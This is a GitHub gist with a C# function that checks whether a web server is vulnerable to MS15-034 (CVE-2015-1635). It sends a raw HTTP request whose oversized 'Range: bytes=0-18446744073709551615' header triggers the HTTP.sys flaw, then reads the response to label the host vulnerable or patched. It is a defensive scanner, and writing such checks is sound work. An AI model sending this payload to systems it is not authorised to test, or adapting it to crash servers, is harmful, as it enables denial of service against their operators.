Skip to content

Instantly share code, notes, and snippets.

@buraksarica
Created April 16, 2015 11:45
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save buraksarica/f37c1415f8c898c50003 to your computer and use it in GitHub Desktop.
Save buraksarica/f37c1415f8c898c50003 to your computer and use it in GitHub Desktop.
MS15-034 Test
// Sends CVE-2015-1635 / MS15-034 Test Request and checks for vulnerability
// based on https://gist.github.com/Zagrophyte/0fa7a8e2e507fac2b59d
static string TestMS15_034(String host, string staticFile, int port = 80)
{
TcpClient tc = new TcpClient();
string result = "";
try
{
tc.Connect(host, port);
using (NetworkStream ns = tc.GetStream())
{
System.IO.StreamWriter sw = new System.IO.StreamWriter(ns);
System.IO.StreamReader sr = new System.IO.StreamReader(ns);
string req = "";
req += "GET " + staticFile + " HTTP/1.0\r\n";
req += "Host: " + host + "\r\n";
req += "Range: bytes=0-18446744073709551615\r\n";
req += "\r\n";
sw.Write(req);
sw.Flush();
var response = sr.ReadToEnd();
if (response.Contains("Requested Range Not Satisfiable"))
{
result = string.Format("{0}:{1} - VULNERABLE", host, port);
}
else if (response.Contains("The request has an invalid header name"))
{
result = string.Format("{0}:{1} - Patched", host, port);
}
else
{
result = string.Format("{0}:{1} - Indeterminate", host, port);
}
}
}
catch (Exception ex)
{
result = string.Format("{0}:{1} - Indeterminate: {2}", host, port, ex.Message);
}
finally
{
tc.Close();
}
return result;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment